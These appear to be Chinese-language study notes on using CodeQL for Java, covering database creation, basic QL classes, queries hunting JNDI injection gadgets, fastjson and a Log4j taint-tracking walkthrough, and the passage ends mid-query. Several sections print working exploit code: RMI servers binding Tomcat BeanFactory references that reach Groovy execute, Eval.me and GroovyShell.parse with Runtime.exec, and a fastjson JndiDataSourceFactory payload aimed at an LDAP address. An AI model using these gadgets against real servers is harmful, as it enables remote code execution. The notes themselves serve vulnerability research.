codeql_for_java


codeql for java学习笔记

杂项&&问题解决

开导

codeql database create codeql/micro-service-seclab-database --language=java  --command="mvn clean install --file pom.xml" --source-root=C:\Users\xxxxx\workspeace\micro_service_seclab-master

CodeQL三大核心模块:

  • DataFlow模块:主要常用的就是taintedTracking和hasflow,flowto
  • Smtm模块:常用于ast分析,就是ifStmt,TryStmt之类的代码分支
  • Expr模块:最常用,例如MethodAccess,Method,call,callable,ClassInstanceExpr之类的一大堆类也是常用的,在定义sink 、source之类的必须要用到

CodeQL 数据库创建原理分析

原文地址:https://paper.seebug.org/1921/

img

javac编译目标代码时,通过Extractor与其进行交互。Extractor会根据每一个java文件的内容生成一个trap文件,后续再根据trap文件生成实际的数据库。同时它会将处理的每一个java文件拷贝一份保存在数据中,便于后续展示查询结果时能看到代码的上下文。

Linux下codeql启动脚本:

#!/bin/sh
set -e

error() {
    echo "$@" 1>&2
    exit 3 # SubcommandCommon.EXITCODE_LAUNCHERFAILURE
}

pwdExtraArg=
if [ -z "$CODEQL_PLATFORM" ] ; then
    case "$(uname -s)" in
        *Linux*)
            CODEQL_PLATFORM=linux64
            ;;
        *Darwin*)
            CODEQL_PLATFORM=osx64
            ;;
        *MINGW* | MSYS*)
            CODEQL_PLATFORM=win64
            pwdExtraArg=-W
            ;;
        *)
            error "Unknown operating system '$(uname -s)' (full uname: $(uname -a)."
    esac
fi

if [ ! -z "$CODEQL_DIST" ] && \
     [ -f "$CODEQL_DIST/codeql" ] && \
     [ -f "$CODEQL_DIST/tools/codeql.jar" ] ; then
    : # This existing value looks trustworthy, probably computed by an enclosing
      # instance of ourselves -- so don't bother with (expensive?) searching from $0.
else
    # Follow links from $0 until we find one that looks right.
    # (This way, users' own symlinks from their path into a dist will work,
    # but a symlink farm replicating the dist will also work).
    launcher="$0"
    dirname="$(dirname "$launcher")"
    while [ ! -f "$dirname/tools/codeql.jar" ] ; do
        if [ ! -L "$launcher" ] ; then
            error "It does not look like $launcher is located in a CodeQL distribution directory."
        fi
        target="$(readlink "$launcher")"
        case "$target" in
            /*) launcher="$target" ;;
            *)  launcher="$dirname/$target" ;;
        esac
        dirname="$(dirname "$launcher")";
    done
    CODEQL_DIST="$(cd "$dirname" ; pwd $pwdExtraArg)"
fi

# Check if we're writing to a terminal
if [ -t 2 ] ; then export CODEQL_ISATTY=stderr ; else unset CODEQL_ISATTY ; fi

export CODEQL_DIST
export CODEQL_PLATFORM

if [ "$CODEQL_PLATFORM" = "osx64" ]; then
  # On macOS we need to run outside the Downloads directory, and ensure that
  # we have cleared all tools from quarantine.

  downloads="$HOME/Downloads"
  if [ "x${CODEQL_DIST#$downloads}" != "x$CODEQL_DIST" ]; then
    error "\
Cannot run CodeQL from within Downloads directory, because of security
restrictions placed on that directory.  Please move the CodeQL distribution
to a location outside the Downloads directory tree.

CodeQL distribution: ${CODEQL_DIST}
Downloads directory: ${downloads}"
  fi

  if [ -w "${CODEQL_DIST}" -a -w "${CODEQL_DIST}/codeql" ]; then
    if [ -f /usr/bin/xattr ]; then
      # If /usr/bin/xattr exists, we know that's the default version of xattr
      # that Mac OS bundles rather than a GNU one. This is what we want, so
      # use that.
      XATTR_PATH=/usr/bin/xattr
    else
      # There's nothing at /usr/bin/xattr. This is strange, but let's continue
      # anyway and use whatever we find on the PATH, hoping it's a Mac OS
      # version too. This ensures forward compatibility with a future Mac OS
      # that moves where xattr is located.
      XATTR_PATH=xattr
    fi
    # Similarly, use /usr/bin/find and /usr/bin/xargs, which also differ sufficiently
    # between the BSD and GNU implementations to break our usage here:
    if [ -f /usr/bin/find ]; then
      FIND_PATH=/usr/bin/find
    else
      FIND_PATH=find
    fi
    if [ -f /usr/bin/xargs ]; then
      XARGS_PATH=/usr/bin/xargs
    else
      XARGS_PATH=xargs
    fi
    
    "$FIND_PATH" "${CODEQL_DIST}" "(" -path "*/osx64/*" -o -path "*/macos/*" ")" -a \
      "(" -perm -100 -o -perm -10 -o -perm -1 -o -name "*.dll" ")" -a \
      "!" -type d -a -xattr -print0 | "$XARGS_PATH" -0 -- "$XATTR_PATH" -c
    "$XATTR_PATH" -c "${CODEQL_DIST}/codeql"
    chmod a-w "${CODEQL_DIST}/codeql"
  fi
fi

jvmArgs=""
takeNext=false
for arg in "$@" ; do
    if $takeNext && [ "x$arg" != "x--" ] ; then
        jvmArgs="$jvmArgs $arg"
        takeNext=false
    else
        case "$arg" in
            -J)   takeNext=true ;;
            -J=*) jvmArgs="$jvmArgs ${arg#-J=}" ;;
            -J*)  jvmArgs="$jvmArgs ${arg#-J}" ;;
            --)   break ;;
        esac
    fi
done

arch="$(uname -m)"
if [ "$CODEQL_PLATFORM" = "osx64" ] && [ "$arch" = "arm64" ]; then
    : ${CODEQL_JAVA_HOME:=$CODEQL_DIST/tools/$CODEQL_PLATFORM/java-aarch64}
else
    : ${CODEQL_JAVA_HOME:=$CODEQL_DIST/tools/$CODEQL_PLATFORM/java}
fi

exec "${CODEQL_JAVA_HOME}/bin/java" \
    $jvmArgs \
    --add-modules jdk.unsupported \
    -cp "$CODEQL_DIST/tools/codeql.jar" \
    "com.semmle.cli2.CodeQL" "$@"

设置环境变量CODEQL_PLATFORMCODEQL_JAVA_HOMECODEQL_DIST后,执行codeql.jar

codeql\codeql\java\tools目录下:

image-20220627102955739

可以看到一些jar包和脚本,以及配置文件codeql-extractor.ymlcodeql-java-agent.jaragent,在整个编译期开始前注入jvm中并用于执行extractor操作

整个Extractor的工作流程

  • 根据javac配置文件创建javac compiler对象
  • javac对源码一次进行预处理
  • 根据前一步出的处理结果,构造trap文件

据的构建过程中,codeql并不需要完整的去编译源代码,只是借助javac从源码中那拿点东西。其次,只要能够根据源码文件构造正确的javac.args,就可以生成trap文件了。之后再通过codeql database finalize即可得到一个数据库。

如何对类进行限制

项目数据库:https://github.com/githubsatelliteworkshops/codeql/releases/download/v1.0/apache_struts_cve_2017_9805.zip

内含源码和已经生成好的ql数据库,直接导入即可。

RefType

相关使用文档:https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Type.qll/type.Type$RefType.html

getACallable() 获取所有可以调用方法(其中包括构造方法)
getAMember() 获取所有成员,其中包括调用方法,字段和内部类这些
getAField() 获取所有字段
getAMethod() 获取所有方法
getASupertype() 获取父类
getAnAncestor() 获取所有的父类相当于递归的getASupertype*()

RefType包含了我们在Java里面使用到的Class,Interface的声明,比如我们现在需要查询一个类名为XStreamHandler的类,但是我们不确定他是Class还是Interface,我们就可以通过 RefType定义变量后进行查询

import java

from RefType c
where c.hasName("XStreamHandler")
select c

Callable

在CodeQL中,Java的方法限制,我们可以使用CallableCallable的父类是 MethodConstructor

Callable常使用的谓词:
https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Member.qll/type.Member$Callable.html

polyCalls(Callable target) 一个Callable 是否调用了另外的Callable,这里面包含了类似虚函数的调用
hasName(name) 可以对方法名进行限制

结合RefType寻找XStreamHandler类/接口中定义的fromObject方法:

import java

from RefType c, Callable cf
where
  c.hasName("XStreamHandler") and
  cf.hasName("fromObject") and
  cf = c.getACallable()
select c, cf

image-20220616140621842

call

之前的Callable是寻找类的定义/构造方法,对于方法的调用,我们可以用call来实现。call的父类包括MethodAccess, ClassInstanceExpression, ThisConstructorInvocationStmtSuperConstructorInvocationStmt

Call中常使用的谓词:
https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Call.html

getCallee() 返回函数声明的位置
getCaller() 返回调用这个函数的函数位置

我们需要查询哪些地方调用了XStream.fromXML,可以这样构建ql语句:

import java

from MethodAccess c, Callable cb
where
  cb.hasName("fromXML") and
  cb.getDeclaringType().hasQualifiedName("com.thoughtworks.xstream", "XStream") and
  c.getMethod() = cb
select c

image-20220616141100694

codeql with JNDI RMI

reference:https://tttang.com/archive/1405/

本文下测试环境为jdk1.8.0_333

之前写过相关的文章,这里只聚焦于突破高版本对于JNDI注入的限制。我们整理一下能利用的类需要满足的条件:

  • 此类有public修饰的无参构造方法
  • 此类有public修饰的包含sink方法,其参数只有一个String型

根据两个条件我们来构造ql查询语句:

看起来不是很难。我们尝试构造一下:

import java
class UsableClass extends RefType {
    UsableClass() {
        this.getAConstructor().hasNoParameters()
        and this.getAConstructor().isPublic()
    }
}

class UsableMethod extends Method {
    UsableMethod() {
        this.getNumberOfParameters() = 1
        and this.getAParamType().hasName("String")
        and this.isPublic()
    }
}

from UsableMethod me, UsableClass cla
where
    me.getDeclaringType() = cla
select cla,me

找到的可利用点:

groovy

RCE:addClasspath&&loadClass

image-20220628193424951

RCE:execute

package JNDI;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class HighRMIServer {

    public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(6666);

        ResourceRef resourceRef = new ResourceRef("org.codehaus.groovy.runtime.ProcessGroovyMethods", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);

        resourceRef.add(new StringRefAddr("forceString", "m1yuu=execute"));
        resourceRef.add(new StringRefAddr("m1yuu","calc"));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
        registry.bind("calc", referenceWrapper);
    }
}

image-20220629093146483

RCE:me

package JNDI;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class HighRMIServer {

    public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(6666);

        ResourceRef resourceRef = new ResourceRef("groovy.util.Eval", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);

        resourceRef.add(new StringRefAddr("forceString", "m1yuu=me"));
        resourceRef.add(new StringRefAddr("m1yuu","\"calc\".execute()"));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
        registry.bind("calc", referenceWrapper);
    }
}

image-20220629101318838

这个方法名如此人畜无害,单从方法名来看很难联想到能RCE。我们调试一下:

进入Eval#me中,此时该方法仅有的String参数为我们传入的"calc.execute()"

调用下面的me,将前两个参数置为null,实例化一个GroovyShell–>sh,进入sh.evaluate

image-20220629114200937

接着跟入sh.evaluate

一系列调用后指定codeBase/groovy/shell,包装好后实例化为gcs

image-20220629115450341

跟入this.evaluate(gcs)

image-20220629135440322

parse方法处理后调用script.run();运行groovy脚本。最终也是走到了execute,也就是之前提过的利用方式。

RCE:parse

在这里会调用parseClass,所以poc和parseClass利用一样。之前几步的处理过程很好理解此处就不多水字了。

package JNDI;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class HighRMIServer {

    public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(6666);

        ResourceRef resourceRef = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);

        resourceRef.add(new StringRefAddr("forceString", "m1yuu=parse"));
        resourceRef.add(new StringRefAddr("m1yuu","@groovy.transform.ASTTest(value={\nassert java.lang.Runtime.getRuntime().exec(\"calc\")\n})\ndef m1yuu\n"));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
        registry.bind("calc", referenceWrapper);
    }
}

image-20220629163409700

RCE:parseClass

这个网上很多文章都提到了,就不再赘述。

URL探测:getText

image-20220629091224537

package JNDI;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class HighRMIServer {

    public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(6666);

        ResourceRef resourceRef = new ResourceRef("groovy.ui.GroovyMain", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);

        resourceRef.add(new StringRefAddr("forceString", "m1yuu=getText"));
        resourceRef.add(new StringRefAddr("m1yuu","http://127.0.0.1:8000"));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
        registry.bind("calc", referenceWrapper);
    }
}

用python起个简易httpserver:

image-20220629091810108

MVEL

RCE:exec

此处利用点浅蓝师傅已经找到了,这里复现一下:

image-20220630141615337

image-20220630144501270

传入的command参数是我们可控的点,这里处理完换行之后赋值给cthis.inBuffer.append(c)将c压入inBuffer中,执行_exec(),跟入:

image-20220630145551556

处理inBuffer内容,以空格分离为数组之后将后面的参数赋值给passParameters,调用((Command)this.commands.get(inTokens[0])).execute(this, passParameters);,我们继续跟入execute,走到MVEL.eval,这里new一个MVELInterpretedRuntime,调用parse方法:

image-20220630152653247

接着调用parseAndExecuteInterpreted,走到getReducedValue中发现调用了PropertyAccessor#get,走到这里调用链就比较清晰了。最后在getMethod方法中触发:

image-20220630153359771

BSH

没啥意义的RCE:

image-20220704112157355

这个只能加载本地的恶意类,所以没啥意义。

image-20220704112301104

RCE:eval

这个利用方式已经被藏青@雁行安全团队找出来了。

SAXReader

URL探测:read

并没有找到可以rce的点,不过其中的read方法可控,可以做url探测:

image-20220704165954276

poc:

package JNDI;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class HighRMIServer {

    public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(7777);

        ResourceRef resourceRef = new ResourceRef("org.dom4j.io.SAXReader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);

        resourceRef.add(new StringRefAddr("forceString", "m1yuu=read"));
        resourceRef.add(new StringRefAddr("m1yuu","seturl"));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
        registry.bind("calc", referenceWrapper);
    }
}

因为控制的是read方法,各种尝试之后也没能打到XML解析(太菜了),只能做个URL探测玩玩。

jdk 原生

fastjson with codeql

此漏洞的sink是jndi注入点,所以我们需要找到调用了lookup方法的地方。同时,fastjson漏洞的利用方式是控制getter或者setter。那么我们的限制条件就如下:

  • 调用了lookup方法
  • 在getter或者setter的递归中满足上条件

构造ql语句:

import java

class LookupMethod extends Call {
  LookupMethod() {
    this.getCallee().getDeclaringType().getASupertype*().hasQualifiedName("javax.naming", "Context") and
    this.getCallee().hasName("lookup")
  }
}

class GetterCallable extends Callable {
  GetterCallable() {
    getName().matches("get%") and
    hasNoParameters() and
    getName().length() > 3
    or
    getName().matches("set%") and
    getNumberOfParameters() = 1
  }
}

query predicate edges(Callable a, Callable b) { a.polyCalls(b) }

from LookupMethod endcall, GetterCallable entryPoint, Callable endCallAble
where
  endcall.getCallee() = endCallAble and
  edges(entryPoint, endCallAble)
select endcall.getCaller(), entryPoint, endcall.getCaller(), "Geter jndi"

我们可以去https://lgtm.com进行在线查询。先在线导入mybatis-3:

image-20220616172143632

箭头处添加github链接,即可导入到自己的项目列表中

在线查询结果中存在大家都知道的fastjson 1.2.45黑名单绕过思路

image-20220616172500693

payload:

{
    "@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
    "properties":{
        "data_source":"ldap://127.0.0.1:23457/Command8"
    }
}

我们先对语句进行分析。

0x00

class LookupMethod extends Call {
  LookupMethod() {
    this.getCallee().getDeclaringType().getASupertype*().hasQualifiedName("javax.naming", "Context") and
    this.getCallee().hasName("lookup")
  }
}

这里是尝试定位到jndi注入的触发点javax.naming#lookup,并且需要是Context实例化对象进行lookup方法操作。

image-20220616173005215

定义继承CallLookupMethod类来进行实现。在上面我们提到,getCallee() 返回函数声明的位置,指定方法名lookup;使用getASupertype()指向其所有父类,再使用hasQualifiedName("javax.naming", "Context")准确限制import中存在import javax.naming.Context;

image-20220617095549270

单独实现此类使用ql查询,可获得所有能触发jndi注入的lookup方法。

image-20220617095955811

0x01

class GetterCallable extends Callable {
  GetterCallable() {
    getName().matches("get%") and
    hasNoParameters() and
    getName().length() > 3
    or
    getName().matches("set%") and
    getNumberOfParameters() = 1
  }
}

实现继承CallableGetterCallable类,用于查找所有的getter和setter使用hasNoParameters()限制getter无参,使用getNumberOfParameters()限制setter参数只有一个,使其符合fastjson漏洞的触发条件。

单独实现,获取所有符合条件的setter和getter:

image-20220617101002542

0x02

query predicate edges(Callable a, Callable b) { a.polyCalls(b) }

from LookupMethod endcall, GetterCallable entryPoint, Callable endCallAble
where
  endcall.getCallee() = endCallAble and
  edges(entryPoint, endCallAble)
select endcall.getCaller(), entryPoint, endcall.getCaller(), "Geter jndi"

主体的查询语句中定义了谓词edges(Callable a, Callable b) { a.polyCalls(b) }。这里查看的是函数声明的继承关系,如果我们想知道方法A到方法G之间调用端点路径,可以将polyCalls替换为calls来实现:

import java

class StartMethod extends Method {
  StartMethod() { getName() = "main" }
}

class TargetMethod extends Method {
  TargetMethod() { getName() = "vulMain" }
}

query predicate edges(Method a, Method b) { a.calls(b) }

from TargetMethod end, StartMethod entryPoint
where edges+(entryPoint, end)
select end, entryPoint, end, "Found a path from start to target."

事实上调用谓词edges就是构建gadget的过程。

Log4j with codeql

找到了之前分析log4j 的文章,网传log4j漏洞是在线查出来的sink点,找到了存在于老版本log4jlookup方法。我们也跟着尝试一下构建ql语言看能不能把漏洞完整分析出来

log4j源码地址:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.14.1-rc1

codeql环境配置及使用方式请移步站内其他大哥的文章

先贴上调用链

lookup:417, InitialContext (javax.naming)
lookup:172, JndiManager (org.apache.logging.log4j.core.net)
lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup)
lookup:221, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1110, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1033, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
toSerializable:344, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
encode:229, PatternLayout (org.apache.logging.log4j.core.layout)
encode:59, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)
callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)
callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)
callAppenders:540, LoggerConfig (org.apache.logging.log4j.core.config)
processLogEvent:498, LoggerConfig (org.apache.logging.log4j.core.config)
log:481, LoggerConfig (org.apache.logging.log4j.core.config)
log:456, LoggerConfig (org.apache.logging.log4j.core.config)
log:63, DefaultReliabilityStrategy (org.apache.logging.log4j.core.config)
log:161, Logger (org.apache.logging.log4j.core)
tryLogMessage:2205, AbstractLogger (org.apache.logging.log4j.spi)
logMessageTrackRecursion:2159, AbstractLogger (org.apache.logging.log4j.spi)
logMessageSafely:2142, AbstractLogger (org.apache.logging.log4j.spi)
logMessage:2017, AbstractLogger (org.apache.logging.log4j.spi)
logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi)
error:740, AbstractLogger (org.apache.logging.log4j.spi)
main:9, logshell (com.yxxx)

find sink

CWE-074

CWE-074规则之前一直处于试验状态,现在转正过了试用期,变成正式的规则了。

存在于java\ql\src\Security\CWE\CWE-074\JndiInjection.ql

/**
 * @name JNDI lookup with user-controlled name
 * @description Performing a JNDI lookup with a user-controlled name can lead to the download of an untrusted
 *              object and to execution of arbitrary code.
 * @kind path-problem
 * @problem.severity error
 * @security-severity 9.8
 * @precision high
 * @id java/jndi-injection
 * @tags security
 *       external/cwe/cwe-074
 */

import java
import semmle.code.java.security.JndiInjectionQuery
import DataFlow::PathGraph

from DataFlow::PathNode source, DataFlow::PathNode sink, JndiInjectionFlowConfig conf
where conf.hasFlowPath(source, sink)
select sink.getNode(), source, sink, "JNDI lookup might include name from $@.", source.getNode(),
  "this user input"

据说log4j的sink就是CWE-074扫出来的。我们观察一下他的源码:

这里使用了定义的sourcesink,导入DataFlow::PathNode来检查数据流。sourcesink的定义在JndiInjectionFlowConfig中,我们进入查看:

java\ql\lib\semmle\code\java\security\JndiInjectionQuery.qll

class JndiInjectionFlowConfig extends TaintTracking::Configuration {
  JndiInjectionFlowConfig() { this = "JndiInjectionFlowConfig" }

  override predicate isSource(DataFlow::Node source) { source instanceof RemoteFlowSource }

  override predicate isSink(DataFlow::Node sink) { sink instanceof JndiInjectionSink }

  override predicate isSanitizer(DataFlow::Node node) {
    node.getType() instanceof PrimitiveType or node.getType() instanceof BoxedType
  }
  ........

先关注漏洞触发点的定义isSink,使用的是JndiInjectionSink,继续跟入:

java\ql\lib\semmle\code\java\security\JndiInjection.qll

在此处定义了可以导致jndi注入的相关类及其可触发漏洞的方法

image-20220620162913850

看起来还是比较全面的。我们回去测一下isSink看能不能找到log4j漏洞的sink

image-20220620163256712

成功定位到org.apache.logging.log4j.core.net.JndiManager#lookup

自建脚本寻找

如果我们自己写规则去寻找能触发jndi注入的sink点呢?

这里有个项目:

https://github.dev/SummerSec/LookupInterface

此项目中同样定义了很全的JNDI注入查询规则。我们可以copy下来进行实现:

import java
class Context extends  RefType{
    Context(){
        this.hasQualifiedName("javax.naming", "Context")
        or
        this.hasQualifiedName("javax.naming", "InitialContext")
        or
        this.hasQualifiedName("org.springframework.jndi", "JndiCallback")
        or 
        this.hasQualifiedName("org.springframework.jndi", "JndiTemplate")
        or
        this.hasQualifiedName("org.springframework.jndi", "JndiLocatorDelegate")
        or
        this.hasQualifiedName("org.apache.shiro.jndi", "JndiCallback")
        or
        this.getQualifiedName().matches("%JndiCallback")
        or
        this.getQualifiedName().matches("%JndiLocatorDelegate")
        or
        this.getQualifiedName().matches("%JndiTemplate")
    }
}

from Call call,Callable parseExpression
where
    call.getCallee() = parseExpression and
    parseExpression.getDeclaringType() instanceof Context and
    parseExpression.hasName("lookup")
select call, parseExpression

此处ql语句很好理解就不多赘述了。结果也是成功定位到lookup

image-20220620165014094

find sink的过程相对简单,难点是向上寻找source触发和使用gadget连接sinksource

search gadget

/**
 *@name Tainttrack Context lookup
 *@kind path-problem
 */
import java
import semmle.code.java.dataflow.FlowSources
import DataFlow::PathGraph
class Context extends  RefType{
    Context(){
        this.hasQualifiedName("javax.naming", "Context")
        or
        this.hasQualifiedName("javax.naming", "InitialContext")
        or
        this.hasQualifiedName("org.springframework.jndi", "JndiCallback")
        or 
        this.hasQualifiedName("org.springframework.jndi", "JndiTemplate")
        or
        this.hasQualifiedName("org.springframework.jndi", "JndiLocatorDelegate")
        or
        this.hasQualifiedName("org.apache.shiro.jndi", "JndiCallback")
        or
        this.getQualifiedName().matches("%JndiCallback")
        or
        this.getQualifiedName().matches("%JndiLocatorDelegate")
        or
        this.getQualifiedName().matches("%JndiTemplate")
    }
}
class Logger extends  RefType{
    Logger(){
        this.hasQualifiedName("org.apache.logging.log4j.spi", "AbstractLogger")
    }
}
class LoggerInput extends  Method {
    LoggerInput(){
        this.getDeclaringType() instanceof Logger and
        this.hasName("error") and this.getNumberOfParameters() = 1
    }
    Parameter getAnUntrustedParameter() { result = this.getParameter(0) }
}
predicate isLookup(Expr arg) {
    exists(MethodAccess ma |
        ma.getMethod().getName() = "lookup"
        and
        ma.getMethod().getDeclaringType() instanceof Context
        and
        arg = ma.getArgument(0)
    )
}

class TainttrackLookup  extends TaintTracking::Configuration {
    TainttrackLookup() { 
        this = "TainttrackLookup" 
    }

    override predicate isSource(DataFlow::Node source) {
        exists(
            LoggerInput loggermethod | 
            source.asParameter() = loggermethod.getAnUntrustedParameter()
        )
    }

    override predicate isSink(DataFlow::Node sink) {
        exists(Expr arg |
            isLookup(arg)
            and
            sink.asExpr() = arg
        )
    }
} 
from TainttrackLookup config , DataFlow::PathNode source, DataFlow::PathNode sink
where
    config.hasFlowPath(source, sink)
select sink.getNode(), source, sink, "unsafe lookup", source.getNode(), "this is user input"

在上面的ql查询语句中,我们使用了标准的污点分析结构。定义TainttrackLookup继承TaintTracking::Configuration,并且在其中定义isSourceisSink,在查询语句中将TainttrackLookup实例化为config,定义数据流DataFlow::PathNode sourceDataFlow::PathNode sink,使用config.hasFlowPath(source, sink)进行污点追踪,查询数据流是否可以从sinksource。结果:

image-20220621142035627

人工排查

这里获得了四个Path,其中三个都走到了java\org\apache\logging\log4j\core\Logger.java

image-20220622102329069

codeql选择了java\org\apache\logging\log4j\core\Logger.java中对filter方法的调用来构造gadget。

boolean filter(final Level level, final Marker marker, final Message msg, final Throwable t) {
    final Filter filter = config.getFilter();
    if (filter != null) {
        final Filter.Result r = filter.filter(logger, level, marker, msg, t);
        if (r != Filter.Result.NEUTRAL) {
            return r == Filter.Result.ACCEPT;
        }
    }
    return level != null && intLevel >= level.intLevel();
}

这里就能体现出静态代码分析的缺陷:对于相对复杂的项目进行分析时,关于条件判断后的代码是否可以进入判断不准确。这里挂一张南京大学《软件分析》课程的ppt(来一起卷https://www.bilibili.com/video/BV1b7411K7P4),对于现阶段的codeql来说,我们希望自己编写的污点分析查询语句中的结果包含我们想要的truth,在这个前提下尽可能缩小结果集合,减轻人工排查的时间成本。

image-20220622105238705

回到vscode中,这个filter想要进入需要满足FilterRegexFilter。因为我们的目的是寻找完整的log4j调用链,先不去想如何满足这个已知与log4j漏洞无关的条件。于是我们去查看仅剩的那条链:

image-20220622111111913

可以看到,从source开始直到java\org\apache\logging\log4j\spi\AbstractLogger.java#tryLogMessage都是准确的调用链,但是在调用log方法的时候出现了跑偏,走到了AbstractLogger#log。实际动手调过log4j漏洞的uu们肯定会记得,这里实际上是走到了Logger#log。这两个类之间一看就是继承关系。想解决这个问题我们可以改一下ql查询语句,将source设定为Logger#log

修改一下LoggerInput

class Logger2 extends RefType {
    Logger2() {
        this.hasQualifiedName("org.apache.logging.log4j.core", "Logger")
    }
}
class LoggerInput extends  Method {
    LoggerInput(){
        this.getDeclaringType() instanceof Logger2 and
        this.hasName("log")
    }
    Parameter getAnUntrustedParameter() { result = this.getParameter(4) }
}

查询结果中也是有很多path,我们看一下和log4j调用链匹配度最高的:

image-20220622155227724

此时的codeql已经能分析到createEvent方法。但是继续分析得到的利用链就出现了问题。没有分析成功。在createEvent方法中,message参数对应的是logEvent,在对logEvent进行处理时触发漏洞。我们猜测,codeql并没有将返回的logEvent作为污点继续分析,所以进行手动连接:

isAdditionalTaintStep

image-20220622161132765

当我们需要将某个污点传递到指定位置从而构造更准确的gadget时,可以override谓词isAdditionalTaintStep来实现。

分析一下现在的情况:我们需要将ReusableLogEventFactory#createEvent的第六个参数MessageLoggerConfig#log第一个参数logEvent连接起来。

override predicate isAdditionalTaintStep(DataFlow::Node fromNode, DataFlow::Node toNode) {
    exists(MethodAccess ma,MethodAccess ma2 |
           
        //set fromNode
        ma.getMethod().getDeclaringType().hasQualifiedName("org.apache.logging.log4j.core.impl", "ReusableLogEventFactory") 
        and ma.getMethod().hasName("createEvent") 
        and fromNode.asExpr()=ma.getArgument(5) 
           
        //set toNode
        and ma2.getMethod().getDeclaringType().hasQualifiedName("org.apache.logging.log4j.core.config", "LoggerConfig")  
        and ma2.getMethod().hasName("log") 
        and ma2.getArgument(0).toString()="logEvent"
        and toNode.asExpr()=ma2.getArgument(0)
    )
}

快速查询可以看到我们的fromNodetoNode设置的没有问题

image-20220623155307405

最后结果

完整ql查询语句:

/**
 *@name Tainttrack Context lookup
 *@kind path-problem
 */
import java
import semmle.code.java.dataflow.FlowSources
import DataFlow::PathGraph
class Context extends  RefType{
    Context(){
        this.hasQualifiedName("javax.naming", "Context")
        or
        this.hasQualifiedName("javax.naming", "InitialContext")
        or
        this.hasQualifiedName("org.springframework.jndi", "JndiCallback")
        or 
        this.hasQualifiedName("org.springframework.jndi", "JndiTemplate")
        or
        this.hasQualifiedName("org.springframework.jndi", "JndiLocatorDelegate")
        or
        this.hasQualifiedName("org.apache.shiro.jndi", "JndiCallback")
        or
        this.getQualifiedName().matches("%JndiCallback")
        or
        this.getQualifiedName().matches("%JndiLocatorDelegate")
        or
        this.getQualifiedName().matches("%JndiTemplate")
    }
}
class Logger extends  RefType{
    Logger(){
        this.hasQualifiedName("org.apache.logging.log4j.spi", "AbstractLogger")
    }
}
class Logger2 extends RefType {
    Logger2() {
        this.hasQualifiedName("org.apache.logging.log4j.core", "Logger")
    }
}
class LoggerInput extends  Method {
    LoggerInput(){
        this.getDeclaringType() instanceof Logger2 and
        this.hasName("log")
    }
    Parameter getAnUntrustedParameter() { result = this.getParameter(4) }
}
predicate isLookup(Expr arg) {
    exists(MethodAccess ma |
        ma.getMethod().getName() = "lookup"
        and
